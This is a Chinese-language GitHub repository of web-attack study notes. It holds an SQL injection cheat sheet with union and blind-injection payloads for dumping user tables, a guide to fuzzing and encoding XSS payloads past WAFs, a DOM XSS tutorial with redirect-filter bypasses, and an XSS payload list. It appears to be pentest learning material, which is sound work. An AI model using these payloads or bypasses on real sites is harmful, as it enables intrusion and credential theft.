├── 1.md ├── 2.md ├── Dom_Xss.md ├── README.md ├── bypass_xss.rar ├── payload ├── README.md └── easyXssPayload.txt ├── waf ├── D_safe.md ├── SafeDog.md ├── Test.md ├── YunSuo.md ├── qianxin.md ├── zhuji360.md ├── 补充(2).md └── 补充.md └── 参考.md /1.md: -------------------------------------------------------------------------------- 1 | ## 2 |  3 | 4 | ##### 注释 5 | 6 | `--+` 7 | `-- 任意符号` 8 | `%23` (#ur编码) 9 | 10 | ##### 判断注入 11 | 12 | `1' and 1=1 --+` 13 | `1' and 1=2 --+` 14 | 15 | ##### 查询字段 16 | 17 | `1' order by 1 --+` 正常 18 | `1' order by 4 --+` 报错 19 | `1' order by 3 --+` 正常 20 | 字段为3 21 | 22 | ##### UNION SELECT 联合查询 23 | 24 | `-1' union select 1,2,3 --+` 25 | `1' and 1=2 union select 1,2,3 --+` 26 | 报错2,3 27 | 28 | ##### 信息收集 29 | 30 | `version()` #Mysql版本 31 | `user()` #数据库用户名 32 | `database()` #数据库名 33 | `@@datadir()` #数据库路径 34 | 35 | ##### 查询所有数据库 36 | 37 | `-1' union select 1, 2, group_concat(schema_name) from information_schema.schemata --+` 38 | 39 | ##### 查询当前数据库的所有表名 40 | 41 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+` 42 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+` 43 | `-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ hex编码 前面加0x` 44 | 45 | ##### 查询users表下的列名 46 | `-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+` 47 | 48 | ##### 查询users表下的列名id,username,password的值 49 | `-1' union select 1, 2, group_concat(id,username,password) from users --+` 50 | 51 | ##### 布尔型盲注 52 | 53 |  54 | 55 | 判断当前数据库名(security)长度 56 | 57 | `id=1' and length((select database()))>=8 --+` 58 | 59 | `id=1' and length(database())>=8 --+` 60 | 61 | 判断数据库名第一位为ascii(115) = s(字母) 62 | 63 | `id=1' and ascii(substr(database(),1,1))=115 --+` 64 | 65 | 判断数据库名第二位为ascii(101) = e(字母) 66 | 67 | `id=1' and ascii(substr(database(),2,1))=101 --+` 68 | 69 | 第三位 70 | 71 | `id=1' and ascii(substr(database(),3,1))=99 --+` 72 | 73 | 或者 74 | 75 | 数据库第一位为s 76 | 77 | `id=1' and left(database(),1)='s' --+` 78 | 79 | 数据库前两位为se 80 | 81 | `id=1' and left(database(),2)='se' --+` 82 | 83 | 查数据库security的表名 84 | 85 | `emails,referers,uagents,users` 86 | 87 |  88 | 89 | 查第一张表名的第一个字符101 = e 90 | 91 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+` 92 | 93 | 查第一张表名的第二个字符109 = m 94 | 95 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+` 96 | 97 | 查第二张表名的第一个字符114 = r 98 | 99 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+` 100 | 101 | 查users表的列名 102 | 103 | `id,username,password` 104 | 105 |  106 | 107 | 查users表的第一个列名的第一个字符 i 108 | 109 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+` 110 | 111 | 查users表的第一个列名的第二个字符 d 112 | 113 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+` 114 | 115 | 查users表的第二个列名的第一个字符 u 116 | 117 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+` 118 | 119 | 查数据库security表名users的内容 120 | 121 |  122 | 123 | 查users表的username的第一字段的第一个字母 D 124 | 125 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+` 126 | 127 | 查users表的username的第一字段的第二个字母 u 128 | 129 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+` 130 | 131 | 查users表的username的第二字段的第一个字母 A 132 | 133 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+` 134 | 135 | 查users表的username的第二字段的第二个字母 n 136 | 137 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+` 138 | -------------------------------------------------------------------------------- /2.md: -------------------------------------------------------------------------------- 1 | #### 前言 2 | - - - 3 | 之前写过类型的水文,感觉写的一般。假期一到,整个人就跟废了一样,为了追上某人的脚步,重新再苟了一遍。 4 | 5 | #### Fuzz 6 | - - - 7 | 简单粗暴的Fuzz,是我的首选,可以从Github,推特以及一些`xss_payload`分享网站,收集到足够的`xss_payload`进行Fuzz测试。 8 | 9 | 首先我们先查看下,waf拦截包的差异,正常提交。 10 | 11 |  12 | 13 | 提交恶意`xss_payload`。 14 | 15 |  16 | 17 | 比较两次提交,waf拦截时,数据包出现`2548`这个关键数字。 18 | 19 |  20 | 21 | 接下来使用`Burp`的`Intruder`模块来Fuzz,导入payload。 22 | 23 | fuzz`结束后`,点击HTTP历史标签下发的`Filter`弹出筛选过滤器界面,选择第三个,与关键字`2548`匹配上的将不再显示。 24 | 25 |  26 | 27 | 剩下的都是waf`不拦截`的。 28 | 29 |  30 | 31 | fuzz的优点是`速度`,当然xss_payload的`质量`也影响最终的结果,所以平时多收集些字典满好的。 32 | 33 | #### 拼接与编码 34 | - - - 35 | 这方面的技巧蛮多的,使用一些对象或函数,让payload变形。 36 | 37 |  38 | 39 | 拼接方面,使用诸如`top` `this` `self` `parent` `frames` `content` `window`这些对象。 40 | 41 | 直接使用这些对象连接函数,也可以绕过WAF。 42 | 43 |  44 | 45 | 拼接字符串。 46 | 47 |  48 | 49 | 可以看到alert函数被分成2个字符串,再拼接在一起。 50 | 51 |  52 | 53 | 54 | 编码,常见的你可能想到利用`eval`,`setTimeout()`,`setInterval`等。 55 | 56 | 常见的base64编码 57 | 58 |  59 | 60 | 前几天看来一篇国外翻译的文章,看到一个有趣的例子。 61 | 62 |  63 | 64 | 将`alert`JS16编码成`\x61\x6c\x65\x72\x74`,成功弹框。 65 | 66 | 我自己尝试了下,也用了`不同的编码`,发现都可以绕过waf,并成功弹框。 67 | 68 |  69 | 70 |  71 | 72 | 然后我又将`编码拆分`,发现也可以弹框。 73 | 74 | ``` 75 |
76 | ``` 77 | 接下来就是,一些特殊函数的利用。 78 | 79 | `concat()`在实际应用中,不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串。 80 | 81 |  82 | 83 | `join函数`将数组转换成字符串。 84 | 85 |  86 | 87 | #### 后记 88 | - - - 89 | 没有太多的亮点,只是在一些基础上变化了下,学的比较浅,如有错处,请师傅斧正。 90 | 91 | #### 参考 92 | - - - 93 | https://www.anquanke.com/post/id/180187 94 | -------------------------------------------------------------------------------- /Dom_Xss.md: -------------------------------------------------------------------------------- 1 | ### 前言 2 | - - - 3 | 每个月都得学点什么,以前对Dom Xss 只有一个模糊的印象,就是看不懂。在xss中,分为反射型,存储型和DOM型XSS,而且难以防范,在[安全小课堂](https://www.secpulse.com/archives/92286.html)中,Camaro师傅就介绍过Dom Xss的优势: 4 | * 避开waf 5 | 6 | 因为有些情况Dom Xss的Payload,可以通过`location.hash`,即设置为锚部分从`#`之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。`location.search`也类似,它可以把部分参数放在`?`之后的部分。 7 | 8 | * 长度不限 9 | 10 | 这个很重要,关键时候!长度不够,可不是什么小药丸就解决的。 11 | 12 | * 隐蔽性强 13 | 14 | 攻击代码可以具有隐蔽性,持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS,非常难以察觉,且持续的时间长。 15 | 16 |  17 | 18 | [图片来自](https://twitter.com/k2wanko/status/1126621174874529793) 19 | 20 | ### 常见场景 21 | - - - 22 | 23 | #### 跳转 24 | 在很多场景下,业务需要实现页面跳转,常见的使用,`location.href()` `location.replace()` `location.assign()`这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞,而DOM XSS与此似乎“八竿子打不着”,实际上跳转部分参数可控,可能导致Dom xss。 25 | 26 | 首先我们来看个简单的例子: 27 | ```javascript 28 | var hash = location.hash; 29 | if(hash){ 30 | var url = hash.substring(1); 31 | location.href = url; 32 | } 33 | ``` 34 | 变量hash为可控部分,并带入url中,变量hash控制的是#之后的部分,那么可以使用伪协议`#javascript:alert(1)`。 35 | 36 |  37 | 38 | 这里扩展下,常见的几种伪协议"javascript:","vbscript:","data:" 39 | 40 | IE下"vbscript:" 41 | 42 | `#vbscript:msgbox(IE)` 43 |  44 | 45 | "data:" 46 | 47 | `#data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` 48 | 49 | #### 使用indexOf判断URL参数是否合法 50 | 51 | ```javascript 52 | var t = location.search.slice(1) // 变量t取url中?之后的部分 53 | if(t.indexOf("url=") > -1 && t.indexOf("http") > -1){ // 限定传入url中要带有indexOf的关键词 54 | var pos = t.indexOf("url=")+4; // 往后截取 55 | url = t.slice(pos,t.length); 56 | location.href = url // 跳转 57 | } 58 | ``` 59 | indexOf会对url进行判断,是否存在关键字http,两个关键字都满足才能执行下面的部分,如果正常请求 `?url=http://cos.top15.cn` 没问题,我们构造`javascript:alert(1)`,并不会弹窗,正如我们上段所言,需要满足indexOf带有的关键字,所以只要构造`javascript:alert(1)//http`即可完成攻击,有的匹配`indexOf("http://cos.top15.cn")`,看似好像没问题,其实构造`javascript:alert(1)//http://cos.top15.cn`即可绕过,实际上这种使用indexOf来判断跳转来路域名的方法是不负责任,容易被绕过。 60 | 61 |  62 | 63 | #### 正则表达式缺陷 64 | 65 |  66 | 67 | 对跳转的url,通过正则进行判断是否合法http(s),容易忽略元字符`^`(匹配行的开始位置),加上和不加上,过滤的效果具有天壤之别。因为正则并没有严格限定跳转的url必须是http(s)开头,那么`javascript:alert(1)//http://cos.top15.cn`即可绕过。还有一些正则要求匹配上一些`符号`,`字符串`,`参数类`的加上就可以了,主要得看得懂令人头晕的`正则`。 68 | 69 | #### 取值写入页面或动态执行 70 | 接受url在前端显示,例如名称,地点,标题等,一般标题等都会将`<>`html实体编码,但在上传文件处,`文件的的标题`之类的,可能不会太重视。 71 | 72 | #### innerHTML 73 | ```javascript 74 | 75 | 83 | ``` 84 | innerHTML属性可以设置或者返回指定元素的HTML内容,此属性使用频繁且极为简单。如上代码变量hash是可控的,取值后,通过innerHTML写入div中。 85 | 86 |  87 | 88 | 以下三个属性都可以修改节点,`innerHTML \ outerHTML` 使用时要注意,是否写入标签,标签需要进行编码处理。而`innerText`就比较特殊,它`自动`将HTML标签解析为普通文本,所以HTML标签不会被`执行`,避免XSS攻击。 89 | 90 |  91 | 92 | [图片来自](http://www.softwhy.com/article-9295-1.html) 93 | 94 | #### document.write 95 | document.write方法可以在文档中写入指定的字符串。 96 | ```javascript 97 | var hash = location.hash.slice(1); 98 | document.write(hash); 99 | ``` 100 | 上述例子很简单,`location.hash`的#之后是可控部分传递数据,`document.write`接收执行。 101 | 102 |  103 | 104 | #### eval 105 | 执行一段由JavaScript代码组成的字符串。 106 | ```javascript 107 | eval("var x = '" + location.hash + "'"); 108 | ``` 109 | 110 |  111 | 112 | 和上面例子一样,有`可控外部参数`带入数据,接收并执行。慎用危险的`eval`,还有定时器方法是`setInterval`和`setTimeout`。 113 | 114 | #### 特殊取值 115 | 从`localStorage`、`SessionStorage`、`Cookies`储存源中取数据,这些值往往会被认为来源相对可信,未进行`处理`。 116 | ``` 117 | let payloadValue = localStorage.getItem("payload", payload); 118 | let msg = "Welcome " + payload + "!!"; 119 | document.getElementById("msgboard").innerHTML = msg; 120 | ``` 121 | 用`https://domgo.at/cxss/example/6`来演示 122 | 123 |  124 | 125 | 这里`localStorage`是数据来源,`innerHTML`是接受并执行。此外还有`document.referrer`,`window.name`,`postMessage`都值得关注,也容易造成Dom xss,`触发点`不同,`document.referrer`可能需要从上一页 / 上面的url,才能触发。 126 | 127 |  128 | 129 | ### 最后 130 | - - - 131 | 写完这篇水文后。。。如有错误,请师傅指正。 132 | 133 |  134 | 135 | ### 参考 136 | - - - 137 | * https://www.secpulse.com/archives/92286.html 138 | * https://mp.weixin.qq.com/s/Ly69JPH8ttDnvUiRRkfIvA 139 | * https://www.owasp.org/images/6/69/OWASP_domxss.pdf 140 | * http://drops.xmd5.com/static/drops/papers-892.html 141 | * https://blog.0daylabs.com/2019/02/24/learning-DomXSS-with-DomGoat/ 142 | 143 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Xss_Test 2 | 由于以前上传的图片丢失了,我在电脑找了下,发现了狗锁盾的pdf,想看的可以下载`bypass_xss.rar` 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /bypass_xss.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S9MF/Xss_Test/d602b0c0f24a23451b5c9d54ae8972230138bb65/bypass_xss.rar -------------------------------------------------------------------------------- /payload/README.md: -------------------------------------------------------------------------------- 1 | ## 收集XSS_Payload,方便Fuzz 2 | 3 | ### easyXssPayload.txt 来源:https://github.com/TheKingOfDuck/easyXssPayload 4 | -------------------------------------------------------------------------------- /payload/easyXssPayload.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | '`"><\x3Cscript>javascript:alert(8) 9 | '`"><\x00script>javascript:alert(9) 10 |